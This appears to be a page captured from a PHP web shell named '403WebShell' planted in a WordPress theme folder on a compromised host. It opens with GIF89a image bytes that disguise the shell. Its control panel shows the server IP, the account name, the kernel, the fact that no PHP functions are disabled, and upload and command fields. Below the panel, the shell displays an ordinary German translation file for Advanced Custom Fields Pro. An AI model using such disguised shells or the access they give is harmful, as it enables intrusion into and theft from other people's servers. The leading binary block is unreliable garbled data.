GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/akhalid/public_html/wp-content/themes/maxsym-theme/includes/acf/lang/pro/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/akhalid/public_html/wp-content/themes/maxsym-theme/includes/acf/lang/pro/acf-de_DE.po
msgid ""
msgstr ""
"Project-Id-Version: Advanced Custom Fields Pro\n"
"Report-Msgid-Bugs-To: https://support.advancedcustomfields.com\n"
"POT-Creation-Date: 2022-08-03 11:47+0000\n"
"PO-Revision-Date: 2022-08-03 13:00+0100\n"
"Last-Translator: Delicious Brains <[email protected]>\n"
"Language-Team: Ralf Koller <[email protected]>\n"
"Language: de_DE\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=2; plural=(n != 1);\n"
"X-Generator: Poedit 3.1.1\n"
"X-Poedit-SourceCharset: UTF-8\n"
"X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;"
"esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;"
"_nx_noop:3c,1,2;__ngettext_noop:1,2\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-WPHeader: acf.php\n"
"X-Textdomain-Support: yes\n"
"X-Poedit-SearchPath-0: .\n"
"X-Poedit-SearchPathExcluded-0: *.js\n"

# @ acf
#: pro/acf-pro.php:27
msgid "Advanced Custom Fields PRO"
msgstr "Advanced Custom Fields PRO"

# @ acf
#: pro/blocks.php:166
msgid "Block type name is required."
msgstr "Name des Block-Typs wird benötigt."

#: pro/blocks.php:173
msgid "Block type \"%s\" is already registered."
msgstr "Block-Typ „%s“ ist bereits registriert."

#: pro/blocks.php:731
msgid "Switch to Edit"
msgstr "Zum Bearbeiten wechseln"

#: pro/blocks.php:732
msgid "Switch to Preview"
msgstr "Zur Vorschau wechseln"

#: pro/blocks.php:733
msgid "Change content alignment"
msgstr "Ausrichtung des Inhalts ändern"

#. translators: %s: Block type title
#: pro/blocks.php:736
msgid "%s settings"
msgstr "%s Einstellungen"

#: pro/blocks.php:949
msgid "This block contains no editable fields."
msgstr ""

#. translators: %s: an admin URL to the field group edit screen
#: pro/blocks.php:955
msgid ""
"Assign a <a href=\"%s\" target=\"_blank\">field group</a> to add fields to "
"this block."
msgstr ""

# @ acf
#: pro/options-page.php:47
msgid "Options"
msgstr "Optionen"

# @ acf
#: pro/options-page.php:77, pro/fields/class-acf-field-gallery.php:523
msgid "Update"
msgstr "Aktualisieren"

# @ acf
#: pro/options-page.php:78
msgid "Options Updated"
msgstr "Optionen aktualisiert"

#: pro/updates.php:99
msgid ""
"To enable updates, please enter your license key on the <a href=\"%1$s"
"\">Updates</a> page. If you don't have a licence key, please see <a href="
"\"%2$s\" target=\"_blank\">details & pricing</a>."
msgstr ""

#: pro/updates.php:159
msgid ""
"<b>ACF Activation Error</b>. Your defined license key has changed, but an "
"error occurred when deactivating your old licence"
msgstr ""

#: pro/updates.php:154
msgid ""
"<b>ACF Activation Error</b>. Your defined license key has changed, but an "
"error occurred when connecting to activation server"
msgstr ""

#: pro/updates.php:192
msgid "<b>ACF Activation Error</b>"
msgstr ""

#: pro/updates.php:187
msgid ""
"<b>ACF Activation Error</b>. An error occurred when connecting to activation "
"server"
msgstr ""

# @ acf
#: pro/updates.php:279, pro/admin/views/html-settings-updates.php:117
msgid "Check Again"
msgstr "Erneut suchen"

#: pro/updates.php:561
msgid "<b>ACF Activation Error</b>. Could not connect to activation server"
msgstr ""

# @ acf
#: pro/admin/admin-options-page.php:195
msgid "Publish"
msgstr "Veröffentlichen"

# @ acf
#: pro/admin/admin-options-page.php:199
msgid ""
"No Custom Field Groups found for this options page. <a href=\"%s\">Create a "
"Custom Field Group</a>"
msgstr ""
"Keine Feldgruppen für diese Options-Seite gefunden. <a href=\"%s\">Eine "
"Feldgruppe erstellen</a>"

# @ acf
#: pro/admin/admin-options-page.php:309
msgid "Edit field group"
msgstr "Feldgruppe bearbeiten"

# @ acf
#: pro/admin/admin-updates.php:52
msgid "<b>Error</b>. Could not connect to update server"
msgstr ""
"<b>Fehler</b>. Es konnte keine Verbindung zum Aktualisierungsserver "
"hergestellt werden"

# @ acf
#: pro/admin/admin-updates.php:122,
#: pro/admin/views/html-settings-updates.php:12
msgid "Updates"
msgstr "Aktualisierungen"

#: pro/admin/admin-updates.php:209
msgid ""
"<b>Error</b>. Could not authenticate update package. Please check again or "
"deactivate and reactivate your ACF PRO license."
msgstr ""
"<b>Fehler</b>. Das Aktualisierungspaket konnte nicht authentifiziert werden. "
"Bitte probiere es nochmal oder deaktiviere und reaktiviere deine ACF PRO-"
"Lizenz."

#: pro/admin/admin-updates.php:196
msgid ""
"<b>Error</b>. Your license for this site has expired or been deactivated. "
"Please reactivate your ACF PRO license."
msgstr ""

#: pro/fields/class-acf-field-clone.php:25
msgctxt "noun"
msgid "Clone"
msgstr "Klon"

# @ acf
#: pro/fields/class-acf-field-clone.php:814
msgid "Fields"
msgstr "Felder"

#: pro/fields/class-acf-field-clone.php:815
msgid "Select one or more fields you wish to clone"
msgstr "Wähle ein oder mehrere Felder aus die Du klonen möchtest"

# @ acf
#: pro/fields/class-acf-field-clone.php:834
msgid "Display"
msgstr "Anzeige"

#: pro/fields/class-acf-field-clone.php:835
msgid "Specify the style used to render the clone field"
msgstr "Gib den Stil an mit dem das Klon-Feld angezeigt werden soll"

#: pro/fields/class-acf-field-clone.php:840
msgid "Group (displays selected fields in a group within this field)"
msgstr ""
"Gruppe (zeigt die ausgewählten Felder in einer Gruppe innerhalb dieses "
"Feldes an)"

#: pro/fields/class-acf-field-clone.php:841
msgid "Seamless (replaces this field with selected fields)"
msgstr "Nahtlos (ersetzt dieses Feld mit den ausgewählten Feldern)"

# @ acf
#: pro/fields/class-acf-field-clone.php:850,
#: pro/fields/class-acf-field-flexible-content.php:549,
#: pro/fields/class-acf-field-flexible-content.php:604,
#: pro/fields/class-acf-field-repeater.php:211
msgid "Layout"
msgstr "Layout"

#: pro/fields/class-acf-field-clone.php:851
msgid "Specify the style used to render the selected fields"
msgstr "Gibt die Art an wie die ausgewählten Felder ausgegeben werden sollen"

# @ acf
#: pro/fields/class-acf-field-clone.php:856,
#: pro/fields/class-acf-field-flexible-content.php:617,
#: pro/fields/class-acf-field-repeater.php:219,
#: pro/locations/class-acf-location-block.php:22
msgid "Block"
msgstr "Block"

# @ acf
#: pro/fields/class-acf-field-clone.php:857,
#: pro/fields/class-acf-field-flexible-content.php:616,
#: pro/fields/class-acf-field-repeater.php:218
msgid "Table"
msgstr "Tabelle"

# @ acf
#: pro/fields/class-acf-field-clone.php:858,
#: pro/fields/class-acf-field-flexible-content.php:618,
#: pro/fields/class-acf-field-repeater.php:220
msgid "Row"
msgstr "Reihe"

#: pro/fields/class-acf-field-clone.php:864
msgid "Labels will be displayed as %s"
msgstr "Beschriftungen werden als %s angezeigt"

#: pro/fields/class-acf-field-clone.php:869
msgid "Prefix Field Labels"
msgstr "Präfix für Feldbeschriftungen"

#: pro/fields/class-acf-field-clone.php:880
msgid "Values will be saved as %s"
msgstr "Werte werden als %s gespeichert"

#: pro/fields/class-acf-field-clone.php:885
msgid "Prefix Field Names"
msgstr "Präfix für Feldnamen"

#: pro/fields/class-acf-field-clone.php:1001
msgid "Unknown field"
msgstr "Unbekanntes Feld"

# @ acf
#: pro/fields/class-acf-field-clone.php:1005
msgid "(no title)"
msgstr "(ohne Titel)"

#: pro/fields/class-acf-field-clone.php:1038
msgid "Unknown field group"
msgstr "Unbekannte Feldgruppe"

#: pro/fields/class-acf-field-clone.php:1042
msgid "All fields from %s field group"
msgstr "Alle Felder der Feldgruppe %s"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:25
msgid "Flexible Content"
msgstr "Flexible Inhalte"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:31,
#: pro/fields/class-acf-field-repeater.php:79,
#: pro/fields/class-acf-field-repeater.php:263
msgid "Add Row"
msgstr "Eintrag hinzufügen"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:71,
#: pro/fields/class-acf-field-flexible-content.php:917,
#: pro/fields/class-acf-field-flexible-content.php:996
msgid "layout"
msgid_plural "layouts"
msgstr[0] "Layout"
msgstr[1] "Layouts"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:72
msgid "layouts"
msgstr "Einträge"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:75,
#: pro/fields/class-acf-field-flexible-content.php:916,
#: pro/fields/class-acf-field-flexible-content.php:995
msgid "This field requires at least {min} {label} {identifier}"
msgstr "Dieses Feld erfordert mindestens {min} {label} {identifier}"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:76
msgid "This field has a limit of {max} {label} {identifier}"
msgstr "Dieses Feld erlaubt höchstens {max} {label} {identifier}"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:79
msgid "{available} {label} {identifier} available (max {max})"
msgstr "{available} {label} {identifier} möglich (max {max})"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:80
msgid "{required} {label} {identifier} required (min {min})"
msgstr "{required} {label} {identifier} erforderlich (min {min})"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:83
msgid "Flexible Content requires at least 1 layout"
msgstr "Flexibler Inhalt benötigt mindestens ein Layout"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:276
msgid "Click the \"%s\" button below to start creating your layout"
msgstr "Klicke \"%s\" zum Erstellen des Layouts"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:410,
#: pro/fields/class-acf-repeater-table.php:354
msgid "Drag to reorder"
msgstr "Ziehen zum Sortieren"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:413
msgid "Add layout"
msgstr "Layout hinzufügen"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:414
msgid "Duplicate layout"
msgstr "Layout duplizieren"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:415
msgid "Remove layout"
msgstr "Layout entfernen"

#: pro/fields/class-acf-field-flexible-content.php:416,
#: pro/fields/class-acf-repeater-table.php:369
msgid "Click to toggle"
msgstr "Zum Auswählen anklicken"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:551
msgid "Reorder Layout"
msgstr "Layout sortieren"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:551
msgid "Reorder"
msgstr "Sortieren"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:552
msgid "Delete Layout"
msgstr "Layout löschen"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:552
msgid "Delete"
msgstr "Löschen"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:553
msgid "Duplicate Layout"
msgstr "Layout duplizieren"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:553
msgid "Duplicate"
msgstr "Duplizieren"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:554
msgid "Add New Layout"
msgstr "Neues Layout hinzufügen"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:554
msgid "Add New"
msgstr "Erstellen"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:581
msgid "Label"
msgstr "Beschriftung"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:597
msgid "Name"
msgstr "Name"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:635
msgid "Min"
msgstr "Min"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:650
msgid "Max"
msgstr "Max"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:679,
#: pro/fields/class-acf-field-repeater.php:259
msgid "Button Label"
msgstr "Button-Beschriftung"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:690
msgid "Minimum Layouts"
msgstr "Mindestzahl an Layouts"

# @ acf
#: pro/fields/class-acf-field-flexible-content.php:701
msgid "Maximum Layouts"
msgstr "Höchstzahl an Layouts"

#: pro/fields/class-acf-field-flexible-content.php:1704,
#: pro/fields/class-acf-field-repeater.php:861
msgid "%s must be of type array or null."
msgstr ""

#: pro/fields/class-acf-field-flexible-content.php:1715
msgid "%1$s must contain at least %2$s %3$s layout."
msgid_plural "%1$s must contain at least %2$s %3$s layouts."
msgstr[0] ""
msgstr[1] ""

#: pro/fields/class-acf-field-flexible-content.php:1731
msgid "%1$s must contain at most %2$s %3$s layout."
msgid_plural "%1$s must contain at most %2$s %3$s layouts."
msgstr[0] ""
msgstr[1] ""

# @ acf
#: pro/fields/class-acf-field-gallery.php:25
msgid "Gallery"
msgstr "Galerie"

# @ acf
#: pro/fields/class-acf-field-gallery.php:73
msgid "Add Image to Gallery"
msgstr "Bild zur Galerie hinzufügen"

# @ acf
#: pro/fields/class-acf-field-gallery.php:74
msgid "Maximum selection reached"
msgstr "Maximale Auswahl erreicht"

# @ acf
#: pro/fields/class-acf-field-gallery.php:320
msgid "Length"
msgstr "Länge"

# @ acf
#: pro/fields/class-acf-field-gallery.php:335
msgid "Edit"
msgstr "Bearbeiten"

# @ acf
#: pro/fields/class-acf-field-gallery.php:336,
#: pro/fields/class-acf-field-gallery.php:491
msgid "Remove"
msgstr "Entfernen"

# @ acf
#: pro/fields/class-acf-field-gallery.php:352
msgid "Title"
msgstr "Titel"

#: pro/fields/class-acf-field-gallery.php:364
msgid "Caption"
msgstr "Bildunterschrift"

#: pro/fields/class-acf-field-gallery.php:376
msgid "Alt Text"
msgstr "Alt Text"

# @ acf
#: pro/fields/class-acf-field-gallery.php:388
msgid "Description"
msgstr "Beschreibung"

# @ acf
#: pro/fields/class-acf-field-gallery.php:500
msgid "Add to gallery"
msgstr "Zur Galerie hinzufügen"

# @ acf
#: pro/fields/class-acf-field-gallery.php:504
msgid "Bulk actions"
msgstr "Massenverarbeitung"

# @ acf
#: pro/fields/class-acf-field-gallery.php:505
msgid "Sort by date uploaded"
msgstr "Sortiere nach Upload-Datum"

# @ acf
#: pro/fields/class-acf-field-gallery.php:506
msgid "Sort by date modified"
msgstr "Sortiere nach Änderungs-Datum"

# @ acf
#: pro/fields/class-acf-field-gallery.php:507
msgid "Sort by title"
msgstr "Sortiere nach Titel"

# @ acf
#: pro/fields/class-acf-field-gallery.php:508
msgid "Reverse current order"
msgstr "Aktuelle Sortierung umkehren"

# @ acf
#: pro/fields/class-acf-field-gallery.php:520
msgid "Close"
msgstr "Schließen"

# @ acf
#: pro/fields/class-acf-field-gallery.php:573
msgid "Return Format"
msgstr "Rückgabeformat"

# @ acf
#: pro/fields/class-acf-field-gallery.php:579
msgid "Image Array"
msgstr "Bild-Array"

# @ acf
#: pro/fields/class-acf-field-gallery.php:580
msgid "Image URL"
msgstr "Bild-URL"

# @ acf
#: pro/fields/class-acf-field-gallery.php:581
msgid "Image ID"
msgstr "Bild-ID"

# @ acf
#: pro/fields/class-acf-field-gallery.php:590
msgid "Preview Size"
msgstr "Maße der Vorschau"

#: pro/fields/class-acf-field-gallery.php:602
msgid "Insert"
msgstr "Einfügen"

#: pro/fields/class-acf-field-gallery.php:603
msgid "Specify where new attachments are added"
msgstr "Gib an wo neue Anhänge hinzugefügt werden sollen"

#: pro/fields/class-acf-field-gallery.php:607
msgid "Append to the end"
msgstr "Anhängen"

#: pro/fields/class-acf-field-gallery.php:608
msgid "Prepend to the beginning"
msgstr "Voranstellen"

# @ acf
#: pro/fields/class-acf-field-gallery.php:617
msgid "Library"
msgstr "Mediathek"

# @ acf
#: pro/fields/class-acf-field-gallery.php:618
msgid "Limit the media library choice"
msgstr "Beschränkt die Auswahl in der Mediathek"

# @ acf
#: pro/fields/class-acf-field-gallery.php:623,
#: pro/locations/class-acf-location-block.php:66
msgid "All"
msgstr "Alle"

# @ acf
#: pro/fields/class-acf-field-gallery.php:624
msgid "Uploaded to post"
msgstr "Für den Beitrag hochgeladen"

# @ acf
#: pro/fields/class-acf-field-gallery.php:633
msgid "Minimum Selection"
msgstr "Minimale Auswahl"

# @ acf
#: pro/fields/class-acf-field-gallery.php:644
msgid "Maximum Selection"
msgstr "Maximale Auswahl"

# @ acf
#: pro/fields/class-acf-field-gallery.php:655
msgid "Minimum"
msgstr "Minimum"

# @ acf
#: pro/fields/class-acf-field-gallery.php:656,
#: pro/fields/class-acf-field-gallery.php:693
msgid "Restrict which images can be uploaded"
msgstr "Beschränkt welche Bilder hochgeladen werden können"

# @ acf
#: pro/fields/class-acf-field-gallery.php:659,
#: pro/fields/class-acf-field-gallery.php:696
msgid "Width"
msgstr "Breite"

# @ acf
#: pro/fields/class-acf-field-gallery.php:670,
#: pro/fields/class-acf-field-gallery.php:707
msgid "Height"
msgstr "Höhe"

# @ acf
#: pro/fields/class-acf-field-gallery.php:682,
#: pro/fields/class-acf-field-gallery.php:719
msgid "File size"
msgstr "Dateigröße"

# @ acf
#: pro/fields/class-acf-field-gallery.php:692
msgid "Maximum"
msgstr "Maximum"

# @ acf
#: pro/fields/class-acf-field-gallery.php:729
msgid "Allowed file types"
msgstr "Erlaubte Dateiformate"

# @ acf
#: pro/fields/class-acf-field-gallery.php:730
msgid "Comma separated list. Leave blank for all types"
msgstr ""
"Eine durch Komma getrennte Liste. Leer lassen um alle Dateiformate zu "
"erlauben"

#: pro/fields/class-acf-field-gallery.php:832
msgid "%1$s requires at least %2$s selection"
msgid_plural "%1$s requires at least %2$s selections"
msgstr[0] ""
msgstr[1] ""

# @ acf
#: pro/fields/class-acf-field-repeater.php:22
msgid "Repeater"
msgstr "Wiederholung"

# @ acf
#: pro/fields/class-acf-field-repeater.php:53,
#: pro/fields/class-acf-field-repeater.php:423
msgid "Minimum rows reached ({min} rows)"
msgstr "Mindestzahl der Einträge hat ({min} Reihen) erreicht"

# @ acf
#: pro/fields/class-acf-field-repeater.php:54
msgid "Maximum rows reached ({max} rows)"
msgstr "Höchstzahl der Einträge hat ({max} Reihen) erreicht"

#: pro/fields/class-acf-field-repeater.php:55
msgid "Error loading page"
msgstr ""

# @ acf
#: pro/fields/class-acf-field-repeater.php:141
msgid "Sub Fields"
msgstr "Unterfelder"

#: pro/fields/class-acf-field-repeater.php:174
msgid "Collapsed"
msgstr "Zugeklappt"

#: pro/fields/class-acf-field-repeater.php:175
msgid "Select a sub field to show when row is collapsed"
msgstr ""
"Wähle ein Unterfelder welches im zugeklappten Zustand angezeigt werden soll"

# @ acf
#: pro/fields/class-acf-field-repeater.php:187
msgid "Minimum Rows"
msgstr "Mindestzahl der Einträge"

# @ acf
#: pro/fields/class-acf-field-repeater.php:199
